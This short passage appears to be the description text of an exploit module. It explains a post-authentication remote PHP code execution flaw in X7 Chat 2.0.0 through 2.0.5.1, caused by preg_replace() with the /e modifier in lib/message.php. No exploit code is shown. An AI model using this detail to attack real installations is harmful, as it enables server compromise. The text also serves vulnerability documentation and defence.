        This module exploits a post-auth vulnerability found in X7 Chat versions
        2.0.0  up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
        uses preg_replace() function with the /e modifier. This allows a remote
        authenticated attacker to execute arbitrary PHP code in the remote machine.
